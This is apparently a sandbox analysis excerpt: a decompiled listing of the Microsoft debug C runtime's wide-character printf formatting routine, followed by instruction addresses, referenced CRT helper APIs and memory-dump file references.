																				E0043C970(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43c8d0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C894))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf2632e26
																					E00424550(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xf2d1ae26
																						E00424550(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xf2c8ae26
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACE0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041ACE0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
																			if(E00433F00() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c22d
0x0043c22d
0x0043c22d
0x0043c22d
0x0043c22d
0x0043c22d
0x0043c22d
0x0043c22d
0x00000000
0x0043c2a2
0x00000000
0x0043c2a2
0x00000000
0x0043c2a2
0x0043c2a2
0x0043c2aa
0x0043c2cc
0x0043c2d2
0x0043c2f7
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37e
0x0043c3c0
0x0043c3c6
0x0043c3d2
0x00000000
0x0043c380
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x0043c394
0x0043c394
0x0043c3a2
0x0043c3a7
0x0043c3ad
0x0043c3bb
0x0043c3d8
0x0043c3e0
0x0043c402
0x0043c402
0x0043c40c
0x0043c41d
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45c
0x00000000
0x00000000
0x0043c46c
0x0043c46f
0x0043c479
0x0043c488
0x0043c491
0x0043c4a7
0x0043c4ad
0x0043c4ba
0x0043c4c8
0x0043c4c8
0x0043c4d7
0x0043c4df
0x0043c4df
0x0043c4e7
0x0043c4f0
0x0043c4f9
0x0043c505
0x0043c51e
0x0043c524
0x0043c52d
0x0043c52d
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x0043c710
0x0043c714
0x0043c71c
0x0043c721
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043baea
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043baff
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbc2
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c737
0x0043c74e
0x0043c742
0x0043c742
0x0043c742
0x0043c758
0x0043c75e
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c53a
0x0043c540
0x0043c54a
0x0043c564
0x0043c57e
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c599
0x0043c5a5
0x0043c5bb
0x0043c5c0
0x0043c5c0
0x0043c5d6
0x0043c5db
0x0043c5e4
0x0043c602
0x0043c607
0x0043c607
0x0043c60e
0x0043c6c8
0x0043c6db
0x0043c6e0
0x00000000
0x0043c61e
0x0043c61e
0x0043c621
0x0043c62a
0x0043c630
0x0043c630
0x0043c63f
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c64c
0x0043c671
0x0043c676
0x0043c679
0x0043c686
0x0043c694
0x0043c6a7
0x0043c6ac
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6ea
0x0043c708
0x0043c70d
0x0043c70d
0x00000000
0x0043c6ea
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcfd
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be42
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc9
0x0043bde5
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a6
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c188
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c1b1
0x0043c1bb
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x00000000
0x0043c213
0x0043c0b7
0x0043c0b7
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd28
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x00000000
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x00000000
0x0043c065
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bff0
0x0043c038
0x00000000
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c294
0x0043c299
0x0043c29f
0x0043c29f
0x00000000
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be89
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf6d
0x0043bf70
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043beed
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x00000000
0x0043bf75
0x00000000
0x00000000
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bced
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c387
0x0043c37e
0x0043c2a2
0x0043c2a2
0x0043c2a2

APIs

_get_int64_arg.LIBCMTD ref: 0043C2B0
_get_int64_arg.LIBCMTD ref: 0043C2D8
__aullrem.LIBCMT ref: 0043C480
__aulldiv.LIBCMT ref: 0043C4A2

Strings

9, xrefs: 0043C4B3

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
